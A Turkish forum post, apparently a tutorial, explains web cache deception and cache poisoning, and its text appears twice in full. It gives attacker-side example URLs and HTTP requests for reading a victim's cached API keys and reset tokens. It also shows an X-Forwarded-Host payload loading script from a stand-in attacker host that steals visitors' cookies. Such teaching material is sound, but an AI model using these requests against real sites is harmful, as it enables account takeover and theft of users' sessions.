Selamlar,bu konuda Web Cache Manipulation nedir,Nasıl Çalışır? onu anlattım umarım akılda kalıcı olur...
1 - Web Cache Nedir, Nasıl Çalışır?
Bir kullanıcı bir istek attığında, önbellek mekanizması bu isteğin daha önce kaydedilip kaydedilmediğine bakar. Bunu anlamak için Cache Key kullanır.
Genellikle bir Cache Key şunlardan oluşur:
• HTTP Metodu (örneK:GET)
• Host Header (örnek:hedefsite.com)
• İstek Yolu (URL Path) (örnek: /static/style.css)
Eğer istek bu anahtarla eşleşiyorsa, proxy isteği ana sunucuya göndermez; kendi hafızasındaki kopyayı direkt kullanıcıya döner. İşte tüm hikaye bu anahtarın manipüle edilmesiyle başlar.
2 - Ayırıcılar ve URL Parsing Farklılıkları
Web Cache Manipulation zafiyetlerinin temel kaynağı, Frontend ile Backend arasındaki URL yorumlama farklarıdır. İşte burada devreye ayırıcılar girer.
Sık kullanılan ayırıcılar şunlardır : ;, ?, #, /, %0d%0a
Farklılık Nasıl Oluşur?
Bir URL düşünün: https://hedefsite.com/profile.php;css.css
• Frontend : URL'in sonuna bakar. .css uzantısını gördüğü an bu bir statik dosya . Bunu herkes görebilir, o yüzden cache'e atmalıyım der.
• Backend : Noktalı virgülü " ; " parametre veya yol ayırıcı olarak görür. ;css.css kısmını çöpe atar ve sadece /profile.php dosyasını çalıştırır. Yani kullanıcının özel profil verisini üretir.
Sonuç olarak kullanıcının özel verisi, statik bir dosyaymış gibi önbelleğe kaydedilir.
3 - Web Cache Deception
Şimdide biraz sömürmeye örnek verelim.Bir senaryo kuralım hedefimiz kurbanın oturum bilgilerini çalmak olsun.
• Keşif ve Zafiyet Tespiti : Hedef sitede kurbanın profil bilgilerinin döndüğü bir endpoint var: https://hedefsite.com/api/v1/user/settings
Biz buraya bir ayırıcı ve sahte statik uzantı ekleyerek istek atıyoruz : https://hedefsite.com/api/v1/user/settings;/../../static/exploit.css veya direkt https://hedefsite.com/api/v1/user/settings/nonexistent.css
Eğer sunucu HTTP 200 OK dönüyor ve yanıtta X-Cache: MISS veya CF-Cache-Status: MISS gibi ibareler görüyorsak, olay başlıyor demektir.
• Tuzağın Hazırlanması ve Saldırı : Saldırgan olarak özel hazırlanmış URL'yi kurbana gönderiyoruz https://hedefsite.com/api/v1/user/settings/avatar.css ve kurbanımız oturumu açıkken bu linke tıkla tıklıyor.İstek önce Proxy sunucusuna gider. Proxy bakar sonu .css ile bitiyor bu statik bir dosya ama bende henüz kopyası yok gidip backendden alayım der.
• İstek Backend sunucusuna iletilir. Uygulama /avatar.css kısmını görmezden gelir kurbanın aktif oturumuna ait /settings sayfasını, yani API Key, E-posta ve Şifre Değiştirme Tokenlarını içeren verisiyi üretir.Proxy, gelen bu gizli veriyi alır Tamam bunu avatar.css anahtarıyla önbelleğe kaydediyorum der ve kurbana iletir artık o veri cachelendi Status: HIT olmaya hazır.
• Hesabın ele geçirilmesi : Kurban linke tıkladıktan hemen sonra saldırgan olarak aynı url ye biz istek atıyoruz:
GET /api/v1/user/settings/avatar.css HTTP/1.1
Host: hedefsite.com
Sonuç : Cache sunucusu bize backend'e sormadan az önce kurbanın oturumuyla üretilen ve önbelleğe aldığı o gizli profil verilerini teslim eder X-Cache: HIT yazar sonra api token veya şifre sıfırlama linkini alıp kurbanın hesabına çökeriz.
4 - Web Cache Poisoning
Deception'da kurbana özel link tıklatıyorduk. Poisoning işleminde ise tüm siteyi ziyaret eden herkesi avlayabiliriz.Uygulama X-Forwarded-Host header'ını alıp sayfa içindeki statik JS dosyalarının çağrıldığı yeri dinamik oluşturuyor olsun.Saldırganda
GET /home HTTP/1.1
Host: hedefsite.com
X-Forwarded-Host: saldirgan.com
şeklinde bir istek atsın.
Backend'in Ürettiği Yanıt şu olur :
HTTP/1.1 200 OK
...
<script src="https://saldirgan.com/js/main.js"></script>
Cache sunucusu bu yanıtı /home anahtarıyla hafızasına alır. Artık sonraki 10 dakika boyunca hedefsite.com/home adresine giren herkes, saldırganın saldirgan.com üzerindeki zararlı JavaScript dosyasını kendi tarayıcısında çalıştırır. O JS kodu da kurbanların cookie'lerini direkt bizim sunucumuza postalar.Bu bir felaket olur
.
Anlatacaklarım bunlardı İyi Forumlar...
1 - Web Cache Nedir, Nasıl Çalışır?
Bir kullanıcı bir istek attığında, önbellek mekanizması bu isteğin daha önce kaydedilip kaydedilmediğine bakar. Bunu anlamak için Cache Key kullanır.
Genellikle bir Cache Key şunlardan oluşur:
• HTTP Metodu (örneK:GET)
• Host Header (örnek:hedefsite.com)
• İstek Yolu (URL Path) (örnek: /static/style.css)
Eğer istek bu anahtarla eşleşiyorsa, proxy isteği ana sunucuya göndermez; kendi hafızasındaki kopyayı direkt kullanıcıya döner. İşte tüm hikaye bu anahtarın manipüle edilmesiyle başlar.
2 - Ayırıcılar ve URL Parsing Farklılıkları
Web Cache Manipulation zafiyetlerinin temel kaynağı, Frontend ile Backend arasındaki URL yorumlama farklarıdır. İşte burada devreye ayırıcılar girer.
Sık kullanılan ayırıcılar şunlardır : ;, ?, #, /, %0d%0a
Farklılık Nasıl Oluşur?
Bir URL düşünün: https://hedefsite.com/profile.php;css.css
• Frontend : URL'in sonuna bakar. .css uzantısını gördüğü an bu bir statik dosya . Bunu herkes görebilir, o yüzden cache'e atmalıyım der.
• Backend : Noktalı virgülü " ; " parametre veya yol ayırıcı olarak görür. ;css.css kısmını çöpe atar ve sadece /profile.php dosyasını çalıştırır. Yani kullanıcının özel profil verisini üretir.
Sonuç olarak kullanıcının özel verisi, statik bir dosyaymış gibi önbelleğe kaydedilir.
3 - Web Cache Deception
Şimdide biraz sömürmeye örnek verelim.Bir senaryo kuralım hedefimiz kurbanın oturum bilgilerini çalmak olsun.
• Keşif ve Zafiyet Tespiti : Hedef sitede kurbanın profil bilgilerinin döndüğü bir endpoint var: https://hedefsite.com/api/v1/user/settings
Biz buraya bir ayırıcı ve sahte statik uzantı ekleyerek istek atıyoruz : https://hedefsite.com/api/v1/user/settings;/../../static/exploit.css veya direkt https://hedefsite.com/api/v1/user/settings/nonexistent.css
Eğer sunucu HTTP 200 OK dönüyor ve yanıtta X-Cache: MISS veya CF-Cache-Status: MISS gibi ibareler görüyorsak, olay başlıyor demektir.
• Tuzağın Hazırlanması ve Saldırı : Saldırgan olarak özel hazırlanmış URL'yi kurbana gönderiyoruz https://hedefsite.com/api/v1/user/settings/avatar.css ve kurbanımız oturumu açıkken bu linke tıkla tıklıyor.İstek önce Proxy sunucusuna gider. Proxy bakar sonu .css ile bitiyor bu statik bir dosya ama bende henüz kopyası yok gidip backendden alayım der.
• İstek Backend sunucusuna iletilir. Uygulama /avatar.css kısmını görmezden gelir kurbanın aktif oturumuna ait /settings sayfasını, yani API Key, E-posta ve Şifre Değiştirme Tokenlarını içeren verisiyi üretir.Proxy, gelen bu gizli veriyi alır Tamam bunu avatar.css anahtarıyla önbelleğe kaydediyorum der ve kurbana iletir artık o veri cachelendi Status: HIT olmaya hazır.
• Hesabın ele geçirilmesi : Kurban linke tıkladıktan hemen sonra saldırgan olarak aynı url ye biz istek atıyoruz:
GET /api/v1/user/settings/avatar.css HTTP/1.1
Host: hedefsite.com
Sonuç : Cache sunucusu bize backend'e sormadan az önce kurbanın oturumuyla üretilen ve önbelleğe aldığı o gizli profil verilerini teslim eder X-Cache: HIT yazar sonra api token veya şifre sıfırlama linkini alıp kurbanın hesabına çökeriz.
4 - Web Cache Poisoning
Deception'da kurbana özel link tıklatıyorduk. Poisoning işleminde ise tüm siteyi ziyaret eden herkesi avlayabiliriz.Uygulama X-Forwarded-Host header'ını alıp sayfa içindeki statik JS dosyalarının çağrıldığı yeri dinamik oluşturuyor olsun.Saldırganda
GET /home HTTP/1.1
Host: hedefsite.com
X-Forwarded-Host: saldirgan.com
şeklinde bir istek atsın.
Backend'in Ürettiği Yanıt şu olur :
HTTP/1.1 200 OK
...
<script src="https://saldirgan.com/js/main.js"></script>
Cache sunucusu bu yanıtı /home anahtarıyla hafızasına alır. Artık sonraki 10 dakika boyunca hedefsite.com/home adresine giren herkes, saldırganın saldirgan.com üzerindeki zararlı JavaScript dosyasını kendi tarayıcısında çalıştırır. O JS kodu da kurbanların cookie'lerini direkt bizim sunucumuza postalar.Bu bir felaket olur
.Anlatacaklarım bunlardı İyi Forumlar...
